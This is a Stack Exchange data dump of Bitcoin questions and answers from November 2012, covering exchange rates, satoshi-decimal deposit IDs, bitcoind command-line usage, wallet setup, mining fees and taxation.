  <row Id="5421" PostTypeId="2" ParentId="5420" CreationDate="2012-11-20T17:54:29.590" Score="4" Body="&lt;p&gt;According to &lt;a href=&quot;https://en.bitcoin.it/wiki/History&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/History&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;2009&#xA;  October 5 Exchange rates published by New Liberty Standard. $1 = 1,309.03 BTC (and theymos thought NLS was overcharging[3])&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It cites &lt;a href=&quot;http://newlibertystandard.wetpaint.com/page/2009+Exchange+Rate&quot; rel=&quot;nofollow&quot;&gt;http://newlibertystandard.wetpaint.com/page/2009+Exchange+Rate&lt;/a&gt;&#xA;and&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/History#cite_note-2&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/History#cite_note-2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That first citation seems to have a decent list of pre-May 2010 exchange rates.&lt;/p&gt;&#xA;" OwnerUserId="615" LastActivityDate="2012-11-20T17:54:29.590" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5422" PostTypeId="1" AcceptedAnswerId="5430" CreationDate="2012-11-20T18:25:41.057" Score="5" ViewCount="466" Body="&lt;p&gt;At the current conversion rates only the first three decimal points of an individual Bitcoin can be exchanged for a USD equivalent.  e.g. 0.002 BTC equals 2 USD cents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That opens up possibilities for using the last five decimal places of a Bitcoin to include &quot;metadata&quot; about the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What alternative usages are there for these few bits and is anyone using them?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2012-11-20T21:50:14.463" LastActivityDate="2012-11-22T21:47:29.363" Title="Alternative uses for last five decimal places of an individual Bitcoin (0.000xxxxx)" Tags="|transactions|vanity-address|satoshi|business|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5423" PostTypeId="2" ParentId="5422" CreationDate="2012-11-20T18:25:41.057" Score="1" Body="&lt;p&gt;One idea that comes to mind is to use them as a transaction ID to bind the sender to the recipient instead of generating a unique Bitcoin address per sender.  If done carefully, this may allow more versatile use of vanity addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the address space of the transactions is relatively small (only 5 digits to play with), one idea is to use a random 4 digit suffix that is valid for a short period of time.  Use the final / Fifth bit as a checksum that can also be ommitted if the conversion rate BTC to USD exceeds $100 but is below $999&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;An item costs 10 BTC, and the buyer clicks &quot;check out&quot;&lt;/li&gt;&#xA;&lt;li&gt;The seller creates a new transaction ID (9998) records it, and makes it expire in 1 day.&lt;/li&gt;&#xA;&lt;li&gt;The seller calculates the checksum.  Since the sum of 9+9+9+8 is 35, an odd number, the checksum is set to &quot;1&quot;.  (if it had been even the checksum would be &quot;0&quot;)&lt;/li&gt;&#xA;&lt;li&gt;On checkout the seller pays 10.00019998 BTC to the seller, possibly to a vanity address&lt;/li&gt;&#xA;&lt;li&gt;The payment is received by the seller and visible in the transaction history.&lt;/li&gt;&#xA;&lt;li&gt;The seller does checksum of the transaction (9998) with the checksum bit (1) and passes&lt;/li&gt;&#xA;&lt;li&gt;The result is even so the transaction is valid (less likely a typo was made)&lt;/li&gt;&#xA;&lt;li&gt;The seller looks up transaction ID 9998 in the database.  If the Tx is invalid, or the date is greater than 24 hours, then a refund is sent to the seller.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2012-11-20T18:38:14.297" LastActivityDate="2012-11-20T18:38:14.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5424" PostTypeId="1" CreationDate="2012-11-20T18:32:02.890" Score="9" ViewCount="1914" Body="&lt;p&gt;I've been trying to use sendmany on my local installation of Bitcoin-qt (version 0.7.0) from the Windows command prompt. I've seen examples but when I try them all I get is a JSON parsing error. I figure that on Windows the input needs to be escaped in a different way than on Linux.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I pass a JSON argument to bitcoind from the Windows command prompt?&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-11-21T05:56:24.643" Title="Passing a JSON argument to bitcoind in Windows command prompt" Tags="|bitcoind|json-rpc|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5425" PostTypeId="2" ParentId="1844" CreationDate="2012-11-20T20:28:42.350" Score="3" Body="&lt;p&gt;at &lt;a href=&quot;http://www.cryptocoincharts.info&quot; rel=&quot;nofollow&quot;&gt;http://www.cryptocoincharts.info&lt;/a&gt; you see long time chart for all alternative crytpo currencies&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2012-11-20T20:28:42.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5426" PostTypeId="2" ParentId="5403" CreationDate="2012-11-20T20:51:12.103" Score="3" Body="&lt;p&gt;Interesting thought.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Years from now we may get to a point where transaction fees are the majority of mining income and profits are so marginalized that electricity expense is a major factor. What makes sense for a miner may be to have a low-power computer with ASICs sitting idle and waiting until there are some transactions with big juicy fees, then actually start mining. Once someone mined a block with those transactions the fees are no longer up for grabs, so your equipment goes dormant again to conserve electricity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far not a big issue I think, because the busy and slow periods are hard to predict. The problem is if we have certain times of day when a large portion of bitcoin users are asleep, resulting in very little value available from transaction fees. Or if you could artificially create a slow period by somehow hindering the propagation of transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you know beforehand that 50% of the hashpower will switch off for a certain time period then you don't need the infamous 51% hashpower majority to pull off a double-spend - the equivalent would now be 26% of global hashpower.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So yes, if a large portion of the hashpower switches off systematically at the same time, I think that could become a weakness. But I don't see it happening until we get to a point where most, if not all, of the income from mining comes from transaction fees.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2012-11-20T20:51:12.103" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5428" PostTypeId="2" ParentId="5406" CreationDate="2012-11-20T23:11:49.100" Score="2" Body="&lt;p&gt;I don't think that it is definitely a good idea to increase the transaction fee.  One of bitcoins biggest selling points is the ability for micro-payments and very low transaction fees.  While I do agree with others that micro-transactions will eventually move off the blockchain.  For now even with the block-reward halving, transactions fees still won't benefit miners financially much for a very long time.  As again as I said the ability to make bitcoin transactions much cheaper than traditional means is one of bitcoins main selling points and will be for a long time.  Until such a date that the majority of bitcoin transactions are made off the blockchain.  Instead in house by larger bitcoin payment and services provider outlets. &lt;/p&gt;&#xA;" OwnerUserId="1382" LastActivityDate="2012-11-20T23:11:49.100" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5430" PostTypeId="2" ParentId="5422" CreationDate="2012-11-21T04:03:21.787" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://mpex.us&quot; rel=&quot;nofollow&quot;&gt;MPEx&lt;/a&gt; uses the last 7 decimals to identify individual deposits made to their publicly known deposit address. Here is a sample of how they do it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-----BEGIN PGP SIGNED MESSAGE-----&#xA;Hash: SHA1&#xA;&#xA;In order to make this deposit please send to the exchange address ( 1Fx3N5iFPDQxUKhhmDJqCMmi3U8Y7gSncx ) the sum of 10.03878878 BTC exactly. Your transaction will be manually approved, so please allow up to 48 hours for funds to show up in your account.&#xA;&#xA;If your funds don't show up within 48 hours please contact mircea_popescu in #bitcoin-assets. Thank you.&#xA;-----BEGIN PGP SIGNATURE-----&#xA;Version: GnuPG v1.4.5 (GNU/Linux)&#xA;&#xA;iD8DBQFQrFKnkhT8a/G2mSERAu4cAKCSkXszTDUquQT83nhzpXTlqxDd1ACgiBiO&#xA;gq0FBE+XYRV+AJrUHXuWC0E=&#xA;=2Azr&#xA;-----END PGP SIGNATURE-----&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="615" LastActivityDate="2012-11-21T04:03:21.787" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5431" PostTypeId="2" ParentId="5424" CreationDate="2012-11-21T05:56:24.643" Score="5" Body="&lt;p&gt;The important part is that strings should be enclosed in &lt;em&gt;triple&lt;/em&gt; double-quotation marks. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind sendmany &quot;&quot; {&quot;&quot;&quot;1ELvnrA6PhUyDBS6iR25K1Xx4xXL6VMfJX&quot;&quot;&quot;:0.001,&quot;&quot;&quot;1NX3R5Le4c1y9E316NPMze7aEmCXjpCY58&quot;&quot;&quot;:0.001}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-11-21T05:56:24.643" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5432" PostTypeId="1" CreationDate="2012-11-21T07:24:16.587" Score="6" ViewCount="2413" Body="&lt;p&gt;My experience with PHP is not the best, but it's good enough to learn and expand. I wish to create a Bitcoin eWallet for my website where it automatically creates a Bitcoin wallet for users. This wallet will also do other stuff, such as generate a new Bitcoin wallet every 24 hours or so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read through the running bitcoin but didn't understand much of it. I know many websites such as Blackmarket Reloaded have what I need but my website is no way related to drugs or that stuff, I'm just using their eWallet and escrow as an example of what I need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked out many websites that provide APIs like this (such as StrongCoin) but all their APIs and files are too old or deleted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I go to making this come true? Any steps?&lt;/p&gt;&#xA;" OwnerUserId="2272" LastEditorUserId="42185" LastEditDate="2017-08-02T21:58:56.053" LastActivityDate="2017-08-02T21:58:56.053" Title="How can I create an eWallet in PHP?" Tags="|wallet|development|e-wallet|escrow|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5433" PostTypeId="2" ParentId="5432" CreationDate="2012-11-21T08:22:13.173" Score="3" Body="&lt;p&gt;1 - If you don't want to use third party systems, you will need a server to host bitcoind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 - Install Bitcoin-QT. In your &lt;a href=&quot;https://en.bitcoin.it/wiki/Data_directory&quot; rel=&quot;nofollow&quot;&gt;data directory&lt;/a&gt;, create &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin#Sample_Bitcoin.conf&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;bitcoin.conf&lt;/code&gt;&lt;/a&gt; with the following attributes (you will need more if you are trying to connect to bitcoind from outside of localhost):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;server=1&#xA;rpcuser=username&#xA;rpcpassword=password&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;3 - Use the &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&quot; rel=&quot;nofollow&quot;&gt;Bitcoin API&lt;/a&gt; to access any data you need. You will most likely need to use &lt;code&gt;accounts&lt;/code&gt; in order to ensure proper money handling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need further assistance, feel free to ask here, or &lt;a href=&quot;http://tiny.cc/ThePiachu&quot; rel=&quot;nofollow&quot;&gt;contact me&lt;/a&gt; for more direct help at a reasonable price ;).&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-11-21T09:05:51.007" LastActivityDate="2012-11-21T09:05:51.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5434" PostTypeId="2" ParentId="2638" CreationDate="2012-11-21T09:15:29.713" Score="2" Body="&lt;p&gt;Trying to use Folding@home as a way to secure Bitcoin would be really hard if not impossible. You would need to encode Bitcoin-related data into your result (merkle root, previous block hash, etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you could use Folding@home to create a centralised currency. Say, for every work unit completed, one would earn 1 Fold or something. Those could be traded between people and used like any other currency. This would work if there were some people wishing to trade anything of values for the Folds - perhaps some people who want to support the project would start buying them for money and start driving the economy this way. Perhaps it could be possible to use Folds to pay, say, 10% of your university fees. If there would be enough people that would wish for this monetary project to succeed, it could work, as long as you would trust the party responsible for managing the money.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-11-21T09:15:29.713" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5435" PostTypeId="2" ParentId="2638" CreationDate="2012-11-21T11:31:27.033" Score="1" Body="&lt;p&gt;This doesn't work. Some problems:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;You need work that is hard to solve, but easy to verify. Folding work is hard to solve and hard to verify.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You want work that is &quot;useless&quot;, for market stability. If a cure for cancer is found then the value of folding drops significantly, and the value of the currency falls.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The difficulty of the work needs to be adjustable. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="251" LastActivityDate="2012-11-21T11:31:27.033" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5436" PostTypeId="1" CreationDate="2012-11-21T14:57:49.883" Score="12" ViewCount="5041" Body="&lt;p&gt;Are there any websites where bitcoin holders can invest their money? Such as by buying shares or giving out loans. For example there is a &lt;a href=&quot;https://www.shareholder.ru/About.aspx&quot; rel=&quot;nofollow&quot;&gt;ShareHolder&lt;/a&gt; service for WebMoney. Is there something similar for Bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="2274" LastEditorUserId="5406" LastEditDate="2015-06-17T12:34:34.303" LastActivityDate="2021-02-25T09:48:04.190" Title="How to invest bitcoins?" Tags="|investing|loans|" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5437" PostTypeId="2" ParentId="5436" CreationDate="2012-11-21T21:14:48.347" Score="4" Body="&lt;p&gt;Beware, making use of the following could be dangerous, risky, or even illegal:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://btcjam.com&quot; rel=&quot;nofollow&quot;&gt;http://btcjam.com&lt;/a&gt; p2p loans&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://polimedia.us/mpex&quot; rel=&quot;nofollow&quot;&gt;http://polimedia.us/mpex&lt;/a&gt; stock exchange and options contracts&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://coinbr.com&quot; rel=&quot;nofollow&quot;&gt;https://coinbr.com&lt;/a&gt; an mpex broker (makes it easier to use mpex)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://icbit.se&quot; rel=&quot;nofollow&quot;&gt;https://icbit.se&lt;/a&gt; futures, mostly&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://cryptostocks.com&quot; rel=&quot;nofollow&quot;&gt;https://cryptostocks.com&lt;/a&gt; stock exchange&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="615" LastActivityDate="2012-11-21T21:14:48.347" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5438" PostTypeId="2" ParentId="5436" CreationDate="2012-11-22T06:23:55.540" Score="7" Body="&lt;p&gt;A list of Bitcoin-related financial investment services:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Trade#Financial&quot;&gt;http://en.bitcoin.it/wiki/Trade#Financial&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-11-22T06:23:55.540" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5439" PostTypeId="2" ParentId="3508" CreationDate="2012-11-22T11:34:33.277" Score="-1" Body="&lt;p&gt;The &lt;a href=&quot;http://polimedia.us/mpex&quot; rel=&quot;nofollow&quot;&gt;MPEx&lt;/a&gt; securities exchange offers 5BTC reward if referral account is mentioned while creating new account. MPEx broker &lt;a href=&quot;https://coinbr.com&quot; rel=&quot;nofollow&quot;&gt;CoinBr.com&lt;/a&gt; has referral program, too.&lt;/p&gt;&#xA;" OwnerUserId="1545" LastActivityDate="2012-11-22T11:34:33.277" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5440" PostTypeId="2" ParentId="5337" CreationDate="2012-11-22T17:36:57.643" Score="4" Body="&lt;p&gt;You can use this service. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/pushtx&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/pushtx&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will transmit transactions for you. Useful for testing or for sending money over TOR.&lt;/p&gt;&#xA;" OwnerUserId="2280" LastActivityDate="2012-11-22T17:36:57.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5441" PostTypeId="2" ParentId="5406" CreationDate="2012-11-22T17:40:29.000" Score="2" Body="&lt;p&gt;Bitcoin is designed to be entirely free-market. You can't &quot;get&quot; anyone to do anything. If mining becomes more expensive, miners will charge more and people will pay more. If someone can do it for cheaper, that will bring down the market price of a transaction.&lt;/p&gt;&#xA;" OwnerUserId="2280" LastActivityDate="2012-11-22T17:40:29.000" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5442" PostTypeId="1" AcceptedAnswerId="5448" CreationDate="2012-11-22T18:18:15.367" Score="5" ViewCount="1128" Body="&lt;p&gt;I have been checking the Bitcoin wiki for script and Bitcoin contracts and I have some doubts about advanced contracts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, I have seen in many places references to password controlled transfers, where only the owner of a keyword could get the BTC in the contract. Do you know of any example in the blockchain? I am curious about anything with script commands beyond the standard use.&lt;/p&gt;&#xA;" OwnerUserId="2281" LastEditorUserId="196" LastEditDate="2012-12-03T03:11:30.207" LastActivityDate="2019-12-15T02:01:35.003" Title="Bitcoin contracts. Are there good examples in the blockchain?" Tags="|blockchain|script|contracts|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5443" PostTypeId="1" CreationDate="2012-11-22T18:39:35.677" Score="3" ViewCount="268" Body="&lt;p&gt;If I were to run a miner, I want to be ethical and pay all relevant income tax and gain all required licensing, etc for my country.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My miner income is probably taxed at a 1099 income rate or lower, but to be less region-specific, a calculator could potentially account for hardware (and other) costs and also allow the user to specify tax rates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What profitability calculators take this into account?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="5406" LastEditDate="2016-01-20T20:43:10.167" LastActivityDate="2016-01-20T20:43:10.167" Title="What Bitcoin profitability calculators account for taxation on miner income?" Tags="|legal|taxes|mining-profitability|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5444" PostTypeId="1" CreationDate="2012-11-22T18:45:45.853" Score="5" ViewCount="293" Body="&lt;p&gt;Assuming that more than half of the Bitcoin miners pay taxes on revenue gained, could a increase in income tax laws (or similar) cause those ethical miners to go out of business? ... and the Bitcoin network to be more vulnerable to attack?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="5406" LastEditDate="2016-01-20T20:42:53.517" LastActivityDate="2016-01-20T20:42:53.517" Title="If miners pay income tax, could a change in tax laws affect network security?" Tags="|security|legal|taxes|mining-profitability|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5445" PostTypeId="1" CreationDate="2012-11-22T18:57:49.007" Score="3" ViewCount="174" Body="&lt;p&gt;I'm considering starting an ethical business for users that accepts Bitcoin as a payment.  My intent is to abide by all laws and interpret them in an appropriate manner.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;My intent is to abide by the &quot;spirit&quot; of existing tax and state law.  What special actions should I take when accepting Bitcoin as payment for my services?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Some things I've considered include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Detailed logging of the transaction (IP addresses, shipping address)&lt;/li&gt;&#xA;&lt;li&gt;Voluntarily pay taxes on income, international fees (if any apply)&lt;/li&gt;&#xA;&lt;li&gt;Enhanced identity validation of each person involved in the transaction&lt;/li&gt;&#xA;&lt;li&gt;Adherence to data privacy laws (EU PII laws, HIPAA, etc)&lt;/li&gt;&#xA;&lt;li&gt;Co-operation with federal authorities with regard to legal subpoenas (etc)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="5406" LastEditDate="2016-03-16T09:43:40.333" LastActivityDate="2016-03-16T09:43:40.333" Title="What additional actions should an ethical Bitcoin-related business take with each transaction?" Tags="|privacy|legal|taxes|aml|know-your-customer|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5446" PostTypeId="1" CreationDate="2012-11-22T19:06:23.977" Score="2" ViewCount="397" Body="&lt;p&gt;One thing that would further legitimize Bitcoin with government oversight is the payment of relevant taxes to Federal and State government (in local equivalent currency) for e-commerce and mining activities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To this end, I think it would be good to highlight the legitimate business models, and how much tax revenue those companies are bringing to their community. One way this could happen is to have a website of sorts that details the tax paid on the transactions and/or mining.  Perhaps this could be detailed on a per country basis.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there any effort underway that is attempting this?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If not, what are some possible ways to publicize the taxes paid to each local government?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="5406" LastEditDate="2016-03-16T09:23:31.120" LastActivityDate="2016-03-16T09:23:31.120" Title="Is there a website that tracks Bitcoin taxes paid to local government?" Tags="|legal|mining-reward|taxes|commerce|government|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5447" PostTypeId="2" ParentId="5444" CreationDate="2012-11-22T19:30:00.593" Score="4" Body="&lt;p&gt;Taxes are paid on profits, not revenues. If their mining operation was profitable before, it will remain so even after the tax increase. Also, depending on the kind of tax it could increase equally to any alternative occupation they might have, so there would be no reason it should make any miner operation go out of business; definitely not enough to warrant concerns about the network security.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-11-22T19:30:00.593" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5448" PostTypeId="2" ParentId="5442" CreationDate="2012-11-22T19:36:15.660" Score="3" Body="&lt;p&gt;Advanced contracts are hardly used currently, if at all - simply because the software to construct the necessary transactions has not been written yet. I doubt you will find examples on the blockchain.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-11-22T19:36:15.660" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5449" PostTypeId="2" ParentId="5436" CreationDate="2012-11-22T19:47:43.657" Score="0" Body="&lt;p&gt;A new exchange just opened at &lt;a href=&quot;http://btct.co&quot; rel=&quot;nofollow&quot;&gt;http://btct.co&lt;/a&gt; operated by the same person running &lt;a href=&quot;http://litecoinglobal.com&quot; rel=&quot;nofollow&quot;&gt;http://litecoinglobal.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2012-11-22T19:47:43.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5450" PostTypeId="2" ParentId="5406" CreationDate="2012-11-22T19:50:30.493" Score="2" Body="&lt;p&gt;Transaction fees pay for two completely different things which should not be confused. One is the marginal cost of verifying, propagating and storing the transaction; the other is the amortized cost of hashing to secure the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Addressing the first need is relatively easy (though not yet solved because the receiver of the reward is not identical to those who have to pay the cost); a miner will not include a transaction if its fee is below the marginal cost. Hence senders who want their transaction included will pay at least the marginal cost (as will be determined by historic equilibrium).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second need is more subtle. For the sake of discussion we can assume the marginal cost to be 0. Then a miner will always want to include any positive-fee transaction, however low, since it costs him nothing and he gets the fee. But if everyone does this, tx fees will race to the bottom, the total profit to be made from mining will shrink, the network hashrate will decrease and it will be vulnerable to attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a bargaining game between miners and senders, where &quot;miners&quot; are not a monolithic entity and suffers from a tragedy of the commons; the self-interest of each miner harms the totality of miners, and hence, the network security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current protocol enforces a data size limit of 1 MB per block. This makes space in a block a scarce resource over which transactions will compete, increasing the equilibrium fee. However, this is hardly efficient or optimal. The size limit likely will need to be relaxed at some point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When this happens, I believe the optimal way to give miners the bargaining power they need is to enforce on the protocol level a hard limit on the total value of transactions per block. This will make miners choose transactions based on their fee-to-value ration; thus making sure that those sending high-value transactions, who gain the most from the protection of the hashing network, pay for the privilege accordingly.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-11-22T19:50:30.493" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5452" PostTypeId="2" ParentId="5399" CreationDate="2012-11-22T20:18:34.957" Score="1" Body="&lt;p&gt;Short term blips for increased mining capacity (and thus blocks mined, until the difficulty adjusted for it) does pull the end-date for the block reward subsidy forward (sooner), but that doesn't mean later dips can't push it right back, or further away (later) even.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now we are looking at Nov 28th, 2012 for the block reward subsidy drop to 25 BTC at block 210,000.   Bitcoin block 0 was on Jan 3rd, 2009 so this is only 35 days early on a four year estimate.  It also happened when the value of daily issuance at the day's exchange rate (and thus reward to miners) jumped from $0 to well over $200K USD (mined in a single day!) at one point in time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But your &quot;calendar&quot; is off.  Even though block 210,000 came a little early on the calendar, all 10,500,000 BTCs will have been issued by that time.  So it isn't like there was a month of bitcoin issuance that didn't happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the issuance rate will decreasing.   Will anyone notice, decades from now, that the rate of issuance at a fraction of a BTC per-block came a year or more sooner?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the grand scheme of things it is irrelevant.  That blip doesn't even show on the log scale, and thus that event has no economic impact.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blockchain.info/charts/total-bitcoins?timespan=all&amp;amp;scale=1&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/charts/total-bitcoins?timespan=all&amp;amp;scale=1&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-11-22T20:23:38.463" LastActivityDate="2012-11-22T20:23:38.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5453" PostTypeId="2" ParentId="5446" CreationDate="2012-11-22T20:36:51.653" Score="2" Body="&lt;p&gt;I think it would be fantastic if my tax jurisdiction were to accept payment in bitcoins.  Every additional way bitcoins can be used adds to bitcoin's value -- it accelerates the network effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When they do begin accepting bitcoins, each jurisdiction could be asked to supply the totals (via FOIA request, at a minimum).  Some organization or individual could then take that data and compile a report.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But expect this to occur long, long &lt;strong&gt;after&lt;/strong&gt; bitcoin is &quot;legitimized&quot;, as you describe it, and not before.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-11-22T21:57:40.693" LastActivityDate="2012-11-22T21:57:40.693" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5454" PostTypeId="2" ParentId="5422" CreationDate="2012-11-22T21:47:29.363" Score="1" Body="&lt;p&gt;I believe some of the Bitcoin gambling sites use the Satoshi level digits to indicate the 'roll of the dice', 'spin of the wheel' etc. &lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2012-11-22T21:47:29.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
